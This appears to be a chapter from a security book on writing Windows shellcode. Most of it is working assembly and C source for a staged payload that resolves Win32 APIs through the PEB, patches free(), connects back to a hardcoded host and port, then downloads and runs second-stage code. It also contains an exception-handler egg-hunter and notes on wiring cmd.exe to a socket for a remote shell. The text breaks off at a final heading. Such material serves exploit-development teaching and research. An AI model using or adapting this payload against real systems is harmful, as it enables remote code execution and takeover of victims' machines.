CHAPTER 7

Windows Shellcode

One author's girlfriend continually reminds him that "writing shellcode is the easy part." And, in fact, it usually is—but like anything on Windows, it can also be an insanely frustrating part. Let's review shellcode for a bit, and then delve into the oddities that make Windows shellcode so entertaining. Along the way, we'll discuss the differences between AT&T and Intel syntax, how the various bugs in the Win32 system will affect you, and the direction of advanced Windows shellcode research.

Syntax and Filters

First, few Windows shellcodes are small enough to work without an encoder/decoder. In any case, if you are writing many exploits, you may want to involve a standardized encoder/decoder API to avoid constantly tweaking your shellcodes. Immunity CANVAS uses an "additive" encoder/decoder. That is, it treats the shellcode as a list of unsigned longs, and for each unsigned long in the list, it adds a number `x` to it in order to create another unsigned long that has no bad characters in it. To find `x`, it randomly chooses numbers until one works. This sort of random structure works very well; however, other people are just as happy with XOR or any other character- or word-based operation.

It's important to remember that a decoder is just a function `y=f(x)` that expands `x` into a different character space. If `x` can only contain lowercase alphabetic characters, then `f(x)` could be a function that transforms lowercase characters into arbitrary binary characters and jumps to those, or it could be a function that transforms lowercase characters into uppercase characters and jumps to those. In other words, when you're facing a really strict filter, you should not try to solve the whole problem all at once—it may be easier to convert your attack string into arbitrary binary in stages, using multiple decoders.

In any case, we will ignore the decoder/encoder issue in this chapter. We assume that you know how to get arbitrary binary data into the process space and jump to it. Once you've become proficient at writing Linux shellcode, you should be reasonably competent at writing x86 assembly. I write Win32 shellcode the same way I write Linux shellcode, using the same tools. I find that if you learn to use only one toolset for your shellcode needs, your shellcoding life is easier in the long run. In my opinion, you don't need to buy Visual Studio to write shellcode. Cygwin is a good shellcode creation tool, and it is freely available (`http://www.cygwin.com/`). Installing Cygwin can be a bit slow, so make sure you open a development tool (gcc, as, and others) when you install it. Many people prefer to use NASM or some other assembler to write their shellcode, but these tools can make writing routines and testing compilation difficult.

X86 AT&T SYNTAX VERSUS INTEL SYNTAX

There are two main differences between AT&T syntax and Intel syntax. The first is that AT&T syntax uses the mnemonic `source,dest` whereas Intel uses the mnemonic `dest,source`. This reversal can get confusing when translating to GNU's gas (which uses AT&T) and OllyDbg or other Windows tools, which use Intel. Assuming you can switch operands around a comma in your head, one more important difference between AT&T and Intel syntax exists: addressing.

Addressing in x86 is handled with two registers, an additive value, and a scale value, which can be 1, 2, 4, or 8.

Hence, `mov eax, [ecx+ebx*4+5000]` (in Intel syntax for OllyDbg) is equivalent to `mov 5000(%ecx,%ebx,4),%eax` in GNU assembler syntax (AT&T).

I would exhort you to learn and use AT&T syntax for one simple reason: It is unambiguous. Consider the statement `mov eax, [ecx+ebx]`. Which register is the base register, and which register is the scale register? This matters especially when trying to avoid characters, because switching the two registers, while they seem identical, will assemble into two totally different instructions.

Setting Up

Windows shellcode suffers from one major problem: Win32 offers no way to obtain direct access to the system calls. Surprisingly, this peculiarity was deliberate. Typically all the things about Windows that make it awful are also the things that make it great. In this case, the Win32 designers can fix or extend a buggy internal system call API without breaking any of the applications that use Win32's higher-level API.

For a small piece of assembly code that happens to be running inside another program, your shellcode has its work cut out for it, as follows:

- It must find the Win32 API functions it needs and build a call table.
- It must load whatever libraries you need in order to get connectivity out.
- It must connect to a remote server, download more shellcode, and execute it.
- It must exit cleanly, resuming the process or simply terminating it nicely.
- It must prevent other threads from killing it.
- It must repair one or more heaps if it wants to make Win32 calls that use the heap.

Finding the needed Win32 API functions used to be a simple matter of hardcoding either the addresses of the functions themselves or the addresses of `GetProcAddressA()` and `LoadLibraryA()` for a particular version of Windows into your shellcode. This method is still one of the quickest ways to write Win32 shellcode, but suffers from being tied to a particular version of the executable or Windows version. However, as the Slammer worm taught us, hardcoding of addresses can sometimes be a valuable shellcoding method.

NOTE The Slammer source code is widely available on the Internet, and provides a good example of hardcoded addresses.

To prevent reliance on any particular state of the executable or OS, you must use other techniques. One way to find the location of functions is to emulate the method a normal DLL would use to link into a process. You could also search through memory for `kernel32.dll` to find the process environment block for `kernel32.dll` (this method is often used by Chinese shellcoders). Later in the chapter we show you how to use the Windows exception-handling system to search through memory.

Parsing the PEB

The code in the following example is taken from Windows shellcode originally used for the CANVAS product. Before we do a line-by-line analysis, you should know some of the design decisions that went into developing the shellcode:

- Reliability was a key issue. It had to work every time, with no outside dependencies.
- Extendibility was important. Understandable shellcode makes a big difference when you want to customize it in some way you didn't foresee.
- Size is always important with shellcode—the smaller the better. Compressing shellcode takes time, however, and may obfuscate the shellcode and make it unmanageable. For this reason, the shellcode shown is quite large. We overcome the problem with the Structured Exception Handler (SEH) hunting shellcode, as you'll see later. If you want to spend time learning x86 and squeezing down this shellcode, by all means, feel free.

Note that because this is a simple C file that gcc can parse, it can be written and compiled equally as well on any x86 platform that gcc supports. Let's take a line-by-line look at the shellcode, `heapoverflow.c`, and see how it works.

Heapoverflow.c Analysis

Our first step is to include `windows.h`, so that if we want to write Win32-specific code for testing purposes—usually to get the value of some Win32 constant or structure—we can.

```
//released under the GNU PUBLIC LICENSE v2.0
#include <stdio.h>
#include <malloc.h>
#ifdef Win32
#include <windows.h>
#endif
```

We start the shellcode function, which is just a thin wrapper around gcc `asm()` statements with several `.set` statements. These statements don't produce any code or take up any space; they exist to give us an easily manageable place in which to store constants that we'll use inside the shellcode.

```
void
getprocaddr()
{

  /*GLOBAL DEFINES*/
  asm("
```

```
.set KERNEL32HASH,      0x000d4e88
.set NUMBEROFKERNEL32FUNCTIONS,0x4
.set VIRTUALPROTECTHASH, 0x38d13c
.set GETPROCADDRESSHASH,0x00348bfa
.set LOADLIBRARYAHASH,  0x000d5786
.set GETSYSTEMDIRECTORYAHASH, 0x069bb2e6

.set WS232HASH,         0x0003ab08
.set NUMBEROFWS232FUNCTIONS,0x5
.set CONNECTHASH,       0x0000677c
.set RECVHASH,          0x00000cc0
.set SENDHASH,          0x00000cd8
.set WSASTARTUPHASH,    0x00039314
.set SOCKETHASH,        0x000036a4

.set MSVCRTHASH, 0x00037908
.set NUMBEROFMSVCRTFUNCTIONS, 0x01
.set FREEHASH, 0x00000c4e

.set ADVAPI32HASH, 0x000ca608
.set NUMBEROFADVAPI32FUNCTIONS, 0x01
.set REVERTTOSELFHASH, 0x000dcdb4

");
```

Now, we start our shellcode. We are writing *Position Independent Code* (PIC), and the first thing we do is set `%ebx` to our current location. Then, all local variables are referenced from `%ebx`. This is much like how a real compiler would do it.

```
/*START OF SHELLCODE*/
asm("

mainentrypoint:
call geteip
geteip:
pop %ebx
```

Because we don't know where `esp` is pointing, we now have to normalize it to avoid stepping on ourselves whenever we do a call. This can actually be a problem even in the `getPC` code, so for exploits where `%esp` is pointing at you, you may want to include a `sub $50,%esp` before the shellcode. If you make the size of your scratch space too large (`0x1000` is what I use here), you'll step off the end of the memory segment and cause an access violation trying to write to the stack. We chose a reasonable size here, which works reliably in most every situation.

```
movl %ebx,%esp
subl $0x1000,%esp
```

Weirdly, `%esp` must be aligned in order for some Win32 functions in `ws2_32.dll` to work (this actually may be a bug in `ws2_32.dll`). We do that here:

```
and $0xffffff00,%esp
```

We can finally start filling our function table. The first thing we do is get the address of the functions we need in `kernel32.dll`. We've split this into three calls to our internal function that will fill out our table for us. We set `ecx` to the number of functions in our hash list and enter a loop. Each time we go through the loop, we pass `getfuncaddress()`, the hash of `kernel32.dll` (don't forget the `.dll`), and the hash of the function name we're looking for. When the program returns the address of the function, we then put that into our table, which is pointed to by `%edi`. One thing to notice is that the method for addressing throughout the code is uniform. `LABEL-geteip(%ebx)` always points to the `LABEL`, so you can use that to easily access stored variables.

```
//set up the loop
movl $NUMBEROFKERNEL32FUNCTIONS,%ecx
lea  KERNEL32HASHESTABLE-geteip(%ebx),%esi
lea  KERNEL32FUNCTIONSTABLE-geteip(%ebx),%edi

//run the loop
getkernel32functions:
//push the hash we are looking for, which is pointed to by %esi
pushl (%esi)
pushl $KERNEL32HASH
call getfuncaddress
movl %eax,(%edi)
addl $4, %edi
addl $4, %esi
loop getkernel32functions
```

Now that we have our table filled with `.dllkernel32.dll`'s functions, we can get the functions we need from `MSVCRT`. You'll notice the same loop structure here. We'll delve into how the `getfuncaddress()` function works when we reach it. For now, just assume it works.

```
//GET MSVCRT FUNCTIONS
movl $NUMBEROFMSVCRTFUNCTIONS,%ecx
lea MSVCRTHASHESTABLE-geteip(%ebx),%esi
lea MSVCRTFUNCTIONSTABLE-geteip(%ebx),%edi
getmsvcrtfunctions:
pushl (%esi)
pushl $MSVCRTHASH
call getfuncaddress
movl %eax,(%edi)
addl $4, %edi
```

```
addl $4, %esi
loop getmsvcrtfunctions
```

With heap overflows, you corrupt a heap in order to gain control. But if you are not the only thread operating on the heap, you may have problems as other threads attempt to `free()` memory they allocated on that heap. To prevent this, we modify the function `free()` so that it just returns. Opcode `0xc3` is returned, which we use to replace the function prelude.

To do what is described in the previous paragraph, we need to change the protection mode on the page in which the function `free()` appears. Like most pages that have executable code in them, the page containing `free()` is marked as read and execute only—we must set the page to `+rwx`. `VirtualProtect` is in `MSVCRT`, so we should already have it in our function pointer table. We temporarily store a pointer to `free()` in our internal data structures (we never bother to reset the permissions on the page).

```
//QUICKLY!
//VIRTUALPROTECT FREE +rwx
lea BUF-geteip(%ebx),%eax
pushl %eax
pushl $0x40
pushl $50
movl FREE-geteip(%ebx),%edx
pushl %edx
call *VIRTUALPROTECT-geteip(%ebx)
//restore edx as FREE
movl FREE-geteip(%ebx),%edx
//overwrite it with return!
movl $0xc3c3c3c3,(%edx)
//we leave it +rwx
```

Now, `free()` no longer accesses the heap at all, it just returns. This prevents any other threads from causing access violations while we control the program.

At the end of our shellcode is the string `ws2_32.dll`. We want to load it (in case it is not already loaded), initialize it, and use it to make a connection to our host, which will be listening on a TCP port. Unfortunately we have several problems ahead of us. In some exploits, for example the `RPC LOCATOR` exploit, you cannot load `ws2_32.dll` unless you call `RevertToSelf()` first. This is because the "anonymous" user does not have permissions to read any files, and the locator thread you are in has temporally impersonated the anonymous user to handle your request. So we have to assume `ADVAPI.dll` is loaded and use it to find `RevertToSelf`. It is a rare Windows program that doesn't have `ADVAPI.dll` loaded, but if it is not loaded, this part of the shellcode will crash. You could add a check to see if the function pointer for `RevertToSelf` is zero

and call it only if it is not. This check wasn't done here, because we've never needed it, and only adds a few more bytes to the size of the shellcode.

```
//Now, we call the RevertToSelf() function so we can actually do
some//thing on the machine
//You can't read ws2_32.dll in the locator exploit without this.
movl $NUMBEROFADVAPI32FUNCTIONS,%ecx
lea ADVAPI32HASHESTABLE-geteip(%ebx),%esi
lea ADVAPI32FUNCTIONSTABLE-geteip(%ebx),%edi

getadvapi32functions:
pushl (%esi)
pushl $ADVAPI32HASH
call getfuncaddress
movl %eax,(%edi)
addl $4,%esi
addl $4,%edi
loop getadvapi32functions

call *REVERTTOSELF-geteip(%ebx)
```

Now that we're running as the original process's user, we have permission to read `ws2_32.dll`. But on some Windows systems, because of the dot (.) in the path, `LoadLibraryA()` will fail to find `ws2_32.dll` unless the entire path is specified. This means we now have to call `GetSystemDirectoryA()` and prepend that to the string `ws2_32.dll`. We do this in a temporary buffer (`BUF`) at the end of our shellcode.

```
//call getsystemdirectoryA, then prepend to ws2_32.dll
pushl $2048
lea BUF-geteip(%ebx),%eax
pushl %eax
call *GETSYSTEMDIRECTORYA-geteip(%ebx)
//ok, now buf is loaded with the current working system directory
//we now need to append \\WS2_32.dll to that, because
//of a bug in LoadLibraryA, which won't find WS2_32.dll if there is a
//dot in that path
lea BUF-geteip(%ebx),%eax
findendofsystemroot:
cmpb $0,(%eax)
je foundendofsystemroot
inc %eax
jmp findendofsystemroot
foundendofsystemroot:
//eax is now pointing to the final null of C:\\windows\\system32
lea WS2_32DLL-geteip(%ebx),%esi
strcpyintobuf:
movb (%esi), %dl
movb %dl,(%eax)
test %dl,%dl
```

```
jz donewithstrcpy
inc %esi
inc %eax
jmp strcpyintobuf
donewithstrcpy:

//loadlibrarya(\"c:\\winnt\\system32\\ws2_32.dll\");
lea BUF-geteip(%ebx),%edx
pushl %edx
call *LOADLIBRARY-geteip(%ebx)
```

Now that we know for certain that `ws2_32.dll` has loaded, we can load the functions from it that we will need for connectivity.

```
movl $NUMBEROFWS232FUNCTIONS,%ecx
lea WS232HASHESTABLE-geteip(%ebx),%esi
lea WS232FUNCTIONSTABLE-geteip(%ebx),%edi

getws232functions:
//get getprocaddress
//hash of getprocaddress
pushl (%esi)
//push hash of KERNEL32.dll
pushl $WS232HASH
call getfuncaddress
movl %eax,(%edi)
addl $4, %esi
addl $4, %edi
loop getws232functions

//ok, now we set up BUFADDR on a quadword boundary
//esp will do since it points far above our current position
movl %esp,BUFADDR-geteip(%ebx)
//done setting up BUFADDR
```

Of course, you must call `WSASTARTUP` to get `ws2_32.dll` rolling. If `ws2_32.dll` has already been initialized, then calling `WSASTARTUP` won't do anything hazardous.

```
movl BUFADDR-geteip(%ebx), %eax
pushl %eax
pushl $0x101
call *WSASTARTUP-geteip(%ebx)

//call socket
pushl $6
pushl $1
pushl $2
call *SOCKET-geteip(%ebx)
movl %eax,FDSPOT-geteip(%ebx)
```

Now, we call `connect()`, which uses the address we have hardcoded into the bottom of the shellcode. For real-world use, you'd do a search and replace on the following piece of the shellcode, changing the address to another IP and port as needed. If the `connect()` fails, we jump to `exitthread`, which will simply cause an exception and crash. Sometimes you'll want to call `ExitProcess()` and sometimes you'll want to cause an exception for the process to handle.

```
//call connect
//push addrlen=16
push $0x10
lea SockAddrSPOT-geteip(%ebx),%esi
//the 4444 is our port
pushl %esi
//push fd
pushl %eax
call *CONNECT-geteip(%ebx)
test %eax,%eax
jl  exitthread
```

Next, we read in the size of the second-stage shellcode from the remote server.

```
pushl $4
call recvloop
//ok, now the size is the first word in BUF
//Now that we have the size, we read in that much shellcode into the
//buffer.
movl BUFADDR-geteip(%ebx),%edx
movl (%edx),%edx
//now edx has the size
push %edx
//read the data into BUF
call recvloop
//Now we just execute it.
movl BUFADDR-geteip(%ebx),%edx
call *%edx
```

At this point, we've given control over to our second-stage shellcode. In most cases, the second-stage shellcode will go through much of the previous processes again.

Next, take a look at some of the utility functions we've used throughout our shellcode. The following code shows the `recvloop` function, which takes in the size and uses some of our "global" variables to control into where it reads data. Like the `connect()` function, `recvloop` jumps to the `exitthread` code if it finds an error.

```
//recvloop function
 asm("
//START FUNCTION RECVLOOP
//arguments: size to be read
//reads into *BUFADDR
recvloop:
pushl %ebp
movl %esp,%ebp
push %edx
push %edi
//get arg1 into edx
movl 0x8(%ebp), %edx
movl BUFADDR-geteip(%ebx),%edi

callrecvloop:
//not an argument- but recv() messes up edx! So we save it off here
pushl %edx
//flags
pushl $0
//len
pushl $1
//*buf
pushl %edi
movl FDSPOT-geteip(%ebx),%eax
pushl %eax
call *RECV-geteip(%ebx)
//prevents getting stuck in an endless loop if the server closes the
connection
cmp $0xffffffff,%eax
je exitthread


popl %edx

//subtract how many we read
sub %eax,%edx
//move buffer pointer forward
add %eax,%edi
//test if we need to exit the function
//recv returned 0
test %eax,%eax
je donewithrecvloop
//we read all the data we wanted to read
test %edx,%edx
je donewithrecvloop
jmp callrecvloop


donewithrecvloop:
//done with recvloop
```

```
pop %edi
pop %edx
mov %ebp, %esp
pop %ebp
ret $0x04
//END FUNCTION
```

The next function gets a function pointer address from a hash of the `DLL` and the function name. It is probably the most confusing function in the entire shellcode because it does the most work and is fairly unconventional. It relies on the fact that when a Windows program is running, `fs:[0x30]` is a pointer to the Process Environment Block (PEB), and from that you can find all the modules that are loaded into memory. We walk each module looking for one that has the name `kernel32.dll.dll` by doing a hash compare. Our hash function has a simple flag that allows it to hash Unicode or straight ASCII strings.

Be aware that many published methods are available to run this process—some more compact that others. Dafydd Stuttard's code, for example, uses 8-bit hash values to conserve space; there are many ways to parse a PE header to get the pointers we're looking for. Additionally, you don't have to parse the PE header to get every function—you could parse it to get `GetProcAddress()` and use that to get everything else.

```
/* fs[0x30] is pointer to PEB
   *that + 0c is _PEB_LDR_DATA pointer
   *that + 0c is in load order module list pointer
```

For further reference, see:

- `http://www.builder.cz/art/asembler/anti_procdump.html`
- `http://www.hick.org/code/skape/papers/win32-shellcode.pdf`

Generally, you will follow these steps:

1. Get the PE header from the current module (`fs:0x30`).
2. Go to the PE header.
3. Go to the export table and obtain the value of `nBase`.
4. Get `arrayOfNames` and find the function.

```
*/

//void* GETFUNCADDRESS( int hash1,int hash2)

/*START OF CODE THAT GETS THE ADDRESSES*/
//arguments
//hash of dll
//hash of function
```

```
//returns function address
getfuncaddress:
pushl %ebp
movl %esp,%ebp
pushl %ebx
pushl %esi
pushl %edi
pushl %ecx


pushl %fs:(0x30)
popl %eax
//test %eax,%eax
//JS WIN9X
NT:
//get _PEB_LDR_DATA ptr
movl 0xc(%eax),%eax
//get first module pointer list
movl 0xc(%eax),%ecx



nextinlist:
//next in the list into %edx
movl (%ecx),%edx
//this is the unicode name of our module
movl 0x30(%ecx),%eax
//compare the unicode string at %eax to our string
//if it matches KERNEL32.dll, then we have our module address at
0x18+%ecx
//call hash match
//push unicode increment value
pushl $2
//push hash
movl 8(%ebp),%edi
pushl %edi
//push string address
pushl %eax
call hashit
test %eax,%eax
jz  foundmodule
//otherwise check the next node in the list
movl %edx,%ecx
jmp nextinlist

//FOUND THE MODULE, GET THE PROCEDURE
foundmodule:
//we are pointing to the winning list entry with ecx
//get the base address
movl 0x18(%ecx),%eax
```

```
//we want to save this off since this is our base that we will have to
add
push %eax
//ok, we are now pointing at the start of the module (the MZ for
//the dos header IMAGE_DOS_HEADER.e_lfanew is what we want
//to go parse (the PE header itself)
movl 0x3c(%eax),%ebx
addl %ebx,%eax
//%ebx is now pointing to the PE header (ascii PE)
//PE->export table is what we want
//0x150-0xd8=0x78 according to OllyDbg
movl 0x78(%eax),%ebx
//eax is now the base again!
pop %eax
push %eax
addl %eax,%ebx
//this eax is now the Export Directory Table
//From MS PE-COFF table, 6.3.1 (search for pecoff at MS Site to
download)
//Offset Size Field                     Description
//16     4    Ordinal Base              (usually set to one!)
//24     4    Number of Name pointers   (also the number of ordinals)
//28     4    Export Address Table RVA  Address EAT relative to base
//32     4    Name Pointer Table RVA    Addresses (RVA's) of Names!
//36     4    Ordinal Table RVA         You need the ordinals to get
                                       the addresses

//theoretically we need to subtract the ordinal base, but it turns //out
they don't actually use it
//movl 16(%ebx),%edi
//edi is now the ordinal base!
movl 28(%ebx),%ecx
//ecx is now the address table
movl 32(%ebx),%edx
//edx is the name pointer table
movl 36(%ebx),%ebx
//ebx is the ordinal table

//eax is now the base address again
//correct those RVA's into actual addresses
addl %eax,%ecx
addl %eax,%edx
addl %eax,%ebx


////HERE IS WHERE WE FIND THE FUNCTION POINTER ITSELF
find_procedure:
//for each pointer in the name pointer table, match against our hash
//if the hash matches, then we go into the address table and get the
//address using the ordinal table
```

```
movl (%edx),%esi
pop %eax
pushl %eax
addl %eax,%esi
//push the hash increment - we are ascii
pushl $1
//push the function hash
pushl 12(%ebp)
//esi has the address of our actual string
pushl %esi
call hashit
test %eax, %eax
jz found_procedure
//increment our pointer into the name table
add $4,%edx
//increment out pointer into the ordinal table
//ordinals are only 16 bits
add $2,%ebx
jmp find_procedure

found_procedure:
//set eax to the base address again
pop %eax
xor %edx,%edx
//get the ordinal into dx
//ordinal=ExportOrdinalTable[i] (pointed to by ebx)
mov (%ebx),%dx
//SymbolRVA = ExportAddressTable[ordinal-OrdinalBase]
//see note above for lack of ordinal base use
//subtract ordinal base
//sub %edi,%edx
//multiply that by sizeof(dword)
shl $2,%edx
//add that to the export address table (dereference in above .c
statement)
//to get the RVA of the actual address
add %edx,%ecx
//now add that to the base and we get our actual address
add (%ecx),%eax
//done eax has the address!

popl %ecx
popl %edi
popl %esi
popl %ebx
mov %ebp,%esp
pop %ebp
ret $8
```

The following is our hash function. It hashes a string simply, ignoring case.

```
//hashit function
//takes 3 args
//increment for unicode/ascii
//hash to test against
//address of string
hashit:
pushl %ebp
movl %esp,%ebp

push %ecx
push %ebx
push %edx

xor %ecx,%ecx
xor %ebx,%ebx
xor %edx,%edx

mov 8(%ebp),%eax
hashloop:
movb (%eax),%dl
//convert char to upper case
or $0x60,%dl
add %edx,%ebx
shl $1,%ebx
//add increment to the pointer
//2 for unicode, 1 for ascii
addl 16(%ebp),%eax
mov (%eax),%cl
test %cl,%cl
loopnz hashloop
xor %eax,%eax
mov 12(%ebp),%ecx
cmp %ecx,%ebx
jz donehash
//failed to match, set eax==1
inc %eax
donehash:
pop %edx
pop %ebx
pop %ecx
mov %ebp,%esp
pop %ebp
ret $12
```

Here is a hashing program in C, used in generating the hashes that the preceding shellcode can use. Every shellcode that uses this method will use a

different hash function. Almost any hash function will work; we chose one here that was small and easy to write in assembly language.

```
#include <stdio.h>

main(int argc, char **argv)
{
 char * p;
 unsigned int hash;

 if (argc<2)
  {
   printf("Usage: hash.exe kernel32.dll\n");
   exit(0);
  }

 p=argv[1];

 hash=0;
 while (*p!=0)
  {
    //toupper the character
    hash=hash + (*(unsigned char * )p | 0x60);
    p++;
    hash=hash << 1;
  }
 printf("Hash: 0x%8.8x\n",hash);

}
```

If we need to call `ExitThread()` or `ExitProcess()`, we replace the following crash function with some other function. However, it usually suffices to use the following instructions:

```
exitthread:
//just cause an exception
xor %eax,%eax
call *%eax
```

Now, we begin our data. To use this code, you replace the stored `sockaddr` with another structure you've computed that will go to the correct host and port.

```
SockAddrSPOT:
//first 2 bytes are the PORT (then AF_INET is 0002)
.long 0x44440002
//server ip 651a8c0 is 192.168.1.101
.long 0x6501a8c0
KERNEL32HASHESTABLE:
```

```
.long GETSYSTEMDIRECTORYAHASH
.long VIRTUALPROTECTHASH
.long GETPROCADDRESSHASH
.long LOADLIBRARYAHASH

MSVCRTHASHESTABLE:
.long FREEHASH

ADVAPI32HASHESTABLE:
.long REVERTTOSELFHASH

WS232HASHESTABLE:
.long CONNECTHASH
.long RECVHASH
.long SENDHASH
.long WSASTARTUPHASH
.long SOCKETHASH

WS2_32DLL:
.ascii \"ws2_32.dll\"
.long 0x00000000

endsploit:
//nothing below this line is actually included in the shellcode, but it
//is used for scratch space when the exploit is running.

MSVCRTFUNCTIONSTABLE:
FREE:
     .long 0x00000000

     KERNEL32FUNCTIONSTABLE:
VIRTUALPROTECT:
     .long 0x00000000
GETPROCADDRA:
     .long 0x00000000
LOADLIBRARY:
     .long 0x00000000
//end of kernel32.dll functions table

//this stores the address of buf+8 mod 8, since we
//are not guaranteed to be on a word boundary, and we
//want to be so Win32 api works
BUFADDR:
     .long 0x00000000


     WS232FUNCTIONSTABLE:
CONNECT:
     .long 0x00000000
RECV:
```

```
     .long 0x00000000
SEND:
     .long 0x00000000
WSASTARTUP:
     .long 0x00000000
SOCKET:
     .long 0x00000000
//end of ws2_32.dll functions table

SIZE:
     .long 0x00000000

FDSPOT:
     .long 0x00000000
BUF:
     .long 0x00000000

     ");

}
```

Our main routine prints out the shellcode when we need it to, or calls it for testing.

```
int
main()
{
        unsigned char buffer[4000];
        unsigned char * p;
        int i;
        char *mbuf,*mbuf2;
        int error=0;
        //getprocaddr();
        memcpy(buffer,getprocaddr,2400);
        p=buffer;
        p+=3; /*skip prelude of function*/
//#define DOPRINT
#ifdef DOPRINT
        /*gdb ) printf "%d\n", endsploit - mainentrypoint -1 */
        printf("\"");
        for (i=0; i<666; i++)
          {
                printf("\\x%2.2x",*p);
                if ((i+1)%8==0)
                  printf("\"\nshellcode+=\"");
                p++;
          }
        printf("\"\n");
#endif
```

```
#define DOCALL
#ifdef DOCALL
        ((void(*)())(p)) ();
#endif


}
```

Searching with Windows Exception Handling

You can easily see that the shellcode in the previous section is much larger than we'd like it to be. To fix this problem, we write another shellcode that goes through memory and finds the first shellcode. The order of execution is as follows:

1. Vulnerable program executes normally.
2. The search shellcode will be inserted.
3. Stage 1 shellcode is executed.
4. Downloaded arbitrary shellcode will be executed.

The search shellcode will be extremely small—for Windows shellcode, that is. Its final size should be under 150 bytes, once you've encoded it and prepended your decoder, and should fit almost anywhere. If you need even smaller shellcode, make your shellcode service-pack dependent, and hardcode the addresses of functions.

To use this shellcode, you need to append an 8-byte tag to the end, and prepend that same 8-byte tag with the words swapped around to the beginning of your main shellcode, which can be anywhere else in memory.

```
#include <stdio.h>
/*
 * Released under the GPL V 2.0
 * Copyright Immunity, Inc. 2002-2003
 *

Works under SE handling.

Put location of structure in fs:0
Put structure on stack
when called you can pop 4 arguments from the stack
_except_handler(
    struct _EXCEPTION_RECORD *ExceptionRecord,
    void * EstablisherFrame,
    struct _CONTEXT *ContextRecord,
    void * DispatcherContext );
```

```
typedef struct _CONTEXT
{
    DWORD ContextFlags;
    DWORD   Dr0;
    DWORD   Dr1;
    DWORD   Dr2;
    DWORD   Dr3;
    DWORD   Dr6;
    DWORD   Dr7;
    FLOATING_SAVE_AREA FloatSave;
    DWORD   SegGs;
    DWORD   SegFs;
    DWORD   SegEs;
    DWORD   SegDs;
    DWORD   Edi;
    DWORD   Esi;
    DWORD   Ebx;
    DWORD   Edx;
    DWORD   Ecx;
    DWORD   Eax;
    DWORD   Ebp;
    DWORD   Eip;
    DWORD   SegCs;
    DWORD   EFlags;
    DWORD   Esp;
    DWORD   SegSs;
} CONTEXT;
```

Return `0` to continue execution where the exception occurred.

NOTE We searched for TAG1 and TAG2 in reverse order so we don't match on ourselves, which would ruin our shellcode.

Also, it is important to note that the exception handler structure (`-1`, `address`) *must* be on the current thread's stack. If you have changed `ESP` you will have to fix the current thread's stack in the thread information block to reflect that. Additionally, you must deal with some nasty alignment issues as well. These factors combine to make this shellcode larger than we would like. A better strategy is to set the PEB lock to `RtlEnterCriticleSection`, as follows:

```
    k=0x7ffdf020;
    *(int *)k=RtlEnterCriticalSectionadd;

* */

#define DOPRINT
//#define DORUN
void
```

```
shellcode()
{

  /*GLOBAL DEFINES*/
  asm("

.set KERNEL32HASH,      0x000d4e88

");


/*START OF SHELLCODE*/
asm("

mainentrypoint:
//time to fill our function pointer table
sub $0x50,%esp
call geteip
geteip:
pop %ebx
//ebx now has our base!
//remove any chance of esp being below us, and thereby
//having WSASocket or other functions use us as their stack
//which sucks
movl %ebx,%esp
subl $0x1000,%esp
//esp must be aligned for win32 functions to not crash
and $0xffffff00,%esp

takeexceptionhandler:
//this code gets control of the exception handler
//load the address of our exception registration block into fs:0
lea exceptionhandler-geteip(%ebx),%eax

//push the address of our exception handler
push %eax
//we are the last handler, so we push -1
push $-1
//move it all into place...
mov %esp,%fs:(0)

//Now we have to adjust our thread information block to reflect we may
be anywhere in memory
//As of Windows XP SP1, you cannot have your exception handler itself on
//the stack - but most versions of windows check to make sure your
//exception block is on the stack.
addl $0xc, %esp
movl %esp,%fs:(4)
subl $0xc,%esp
```

```
//now we fix the bottom of thread stack to be right after our SEH block
movl %esp,%fs:(8)


");

//search loop
 asm("
startloop:
xor %esi,%esi
mov TAG1-geteip(%ebx),%edx
mov TAG2-geteip(%ebx),%ecx

memcmp:
//may fault and call our exception handler
mov (%esi),%eax
cmp %eax,%ecx
jne addaddr
mov 4(%esi),%eax
cmp %eax,%edx
jne addaddr
jmp foundtags

addaddr:
inc %esi
jmp memcmp

foundtags:
lea 8(%esi),%eax
xor %esi,%esi
//clear the exception handler so we don't worry about that on exit
mov %esi,%fs:(0)
call *%eax
");

 asm("
//handles the exceptions as we walk through memory
exceptionhandler:
//int $3
mov 0xc(%esp),%eax
//get saved ESI from exception frame into %eax
add $0xa0,%eax
mov (%eax),%edi
//add 0x1000 to saved ESI and store it back
add $0x1000,%edi
mov %edi,(%eax)
xor %eax,%eax
ret

");
```

```
 asm("
     endsploit:
//these tags mark the start of our real shellcode
TAGS:
TAG1:
.long 0x41424344
TAG2:
.long 0x45464748

CURRENTPLACE:
//where we are currently looking
.long 0x00000000
");
}



int
main()
{
        unsigned char buffer[4000];
        unsigned char * p;
        int i;
        unsigned char stage2[500];
//setup stage2 for testing
        strcpy(stage2,"HGFE");
        strcat(stage2,"DCBA\xcc\xcc\xcc");

        //getprocaddr();
        memcpy(buffer,shellcode,2400);
        p=buffer;
#ifdef WIN32
        p+=3; /*skip prelude of function*/
#endif



#ifdef DOPRINT
#define SIZE 127
        printf("#Size in bytes: %d\n",SIZE);
        /*gdb ) printf "%d\n", endsploit - mainentrypoint -1 */
        printf("searchshellcode+=\"");
        for (i=0; i<SIZE; i++)
          {
                printf("\\x%2.2x",*p);
                if ((i+1)%8==0)
                  printf("\"\nsearchshellcode+=\"");
                p++;
          }
        printf("\"\n");
#endif
#ifdef DORUN
        ((void(*)())(p)) ();
```

```
#endif

}
```

Popping a Shell

There are two ways to get a shell from a socket in Windows. In Unix, you would use `dup2()` to duplicate the file handles for standard in and standard out, and then `execve("/bin/sh"`). In Windows, life gets complicated. You can use your socket as input for `CreateProcess("cmd.exe")` if you use `WSASocket()` to create it instead of `socket()`. However, if you stole a socket from the process or didn't use `WSASocket()` to create your socket, you need to do some complex maneuvering with anonymous pipes to shuffle data back and forth. You may be tempted to use `popen()`, except it doesn't actually work in Win32, and you'll be forced to reimplement it. Remember a few key facts:

1. `CreateProcessA` needs to be called with inheritance set to `1`. Otherwise when you pass your pipes into `cmd.exe` as standard input and standard output they won't be readable by the spawned process.
2. You have to close the writable standard output pipe in the parent process or the pipe blocks on any read. You do this after you call `CreateProcessA` but before you call `ReadFile` to read the results.
3. Don't forget to use `DuplicateHandle()` to make non-inheritable copies of your pipe handles for writing to standard input and reading from standard output. You'll need to close the inheritable handles so they don't get inherited into `cmd.exe`.
4. If you want to find `cmd.exe`, use `GetEnvironmentVariable("COMSPEC")`.
5. You'll want to set `SW_HIDE` in `CreateProcessA` so that little windows don't pop up every time you run a command. You also need to set the `STARTF_USESTDHANDLES` and `STARTF_USESSHOWWINDOW` flags.

With this in mind, you'll find it easy to write your own `popen()`—one that actually works.

Why You Should Never Pop a Shell on Windows

